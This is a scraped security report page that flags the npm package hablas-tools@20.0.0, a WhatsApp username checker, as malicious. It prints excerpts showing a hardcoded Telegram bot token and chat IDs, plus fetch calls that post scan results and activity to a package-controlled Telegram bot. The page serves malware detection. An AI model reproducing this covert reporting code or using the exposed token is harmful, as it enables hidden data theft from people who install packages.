hablas-tools@20.0.0: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

hablas-tools@20.0.0: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

tools/smart.jsView file

13L14: const { whatsappRun } = require('./whatsapp/cli'); L15:

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tools/smart.jsView on unpkg · L13

tools/whatsapp/cli.jsView file

•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs. tools/whatsapp/workspace.js: const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo'; const DEFAULT_ADMINS = ['5022812601']; const DEFAULT_MEMBERS = ['8986115381']; await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), const botToken = DEFAULT_BOT_TOKEN; const adminIds = DEFAULT_ADMINS; const memberIds = DEFAULT_MEMBERS; tools/whatsapp/cli.js: * Yusratak — WhatsApp Username Checker v7 const { PersistentConnection, checkUsernames, resetMethod } = require('./auth'); const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

tools/whatsapp/cli.jsView on unpkg

tools/whatsapp/workspace.jsView file

28function loadConfig() { L29: const p = path.join(process.cwd(), CONFIG_FILE); L30: if (fs.existsSync(p)) { L31: try { return JSON.parse(fs.readFileSync(p, 'utf-8')); } catch { return null; } L32: } ... L53: try { L54: await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { L55: method: 'POST', L56: headers: { 'Content-Type': 'application/json' }, L57: body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), L58: });

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

tools/whatsapp/workspace.jsView on unpkg · L28

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/whatsapp/workspace.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/workspace.jsView on unpkg

shared/proxy.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = shared/proxy.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

shared/proxy.jsView on unpkg

tools/tiktok/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/tiktok/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/menu.jsView on unpkg

tools/whatsapp/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/whatsapp/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/menu.jsView on unpkg

tools/whatsapp/relay.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/whatsapp/relay.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/relay.jsView on unpkg

Source & flagged code

8 flagged

tools/smart.jsView file

Lines 1-22javascript

1#!/usr/bin/env node

2'use strict';

3

4/**

5 * HABLAS — Smart Auto-Detect Router v2

6 *

7 * `ht` — just starts scanning in the current directory.

8 * No folder creation, no questions. Runs right here.

9 *

10 * If yusratak.json exists → use saved settings

11 * If not → use defaults (insane speed, doubled, 3-char, full charset)

12 */

13

14const { whatsappRun } = require('./whatsapp/cli');

15

Medium

Dynamic Require

Package source references dynamic require/import behavior.

tools/smart.jsView on unpkg · L13

16async function smartRun(extraArgs) {

17 // Just run WhatsApp checker in the current directory

18 await whatsappRun(extraArgs);

19}

20

21module.exports = { smartRun };

22

tools/whatsapp/cli.jsView file

•Normal CLI activity and scan results are posted to package-defined Telegram bot tokens and recipient IDs. tools/whatsapp/workspace.js: const DEFAULT_BOT_TOKEN = '8884360032:AAG8pDV2TPto3n00_R_2FQiNHbLV0HB_szo'; const DEFAULT_ADMINS = ['5022812601']; const DEFAULT_MEMBERS = ['8986115381']; await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'HTML', disable_web_page_preview: true }), const botToken = DEFAULT_BOT_TOKEN; const adminIds = DEFAULT_ADMINS; const memberIds = DEFAULT_MEMBERS; tools/whatsapp/cli.js: * Yusratak — WhatsApp Username Checker v7 const { PersistentConnection, checkUsernames, resetMethod } = require('./auth'); const { loadConfig, saveConfig, ensureDirs, sendTelegram, DEFAULT_BOT_TOKEN, DEFAULT_ADMIN

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

tools/whatsapp/cli.jsView on unpkg

tools/whatsapp/workspace.jsView file

Lines 8-48javascript

8 * auth_info/ ← WhatsApp auth

9 * data/ ← scan results

10 *

11 * Telegram bot with 2 roles:

12 *

shared/proxy.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = shared/proxy.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

shared/proxy.jsView on unpkg

tools/tiktok/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/tiktok/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/tiktok/menu.jsView on unpkg

tools/whatsapp/menu.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/whatsapp/menu.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/menu.jsView on unpkg

tools/whatsapp/relay.jsView file

•matchType = normalized_sha256 matchedPackage = hablas-tools@18.0.0 matchedPath = tools/whatsapp/relay.js matchedIdentity = npm:aGFibGFzLXRvb2xz:18.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

tools/whatsapp/relay.jsView on unpkg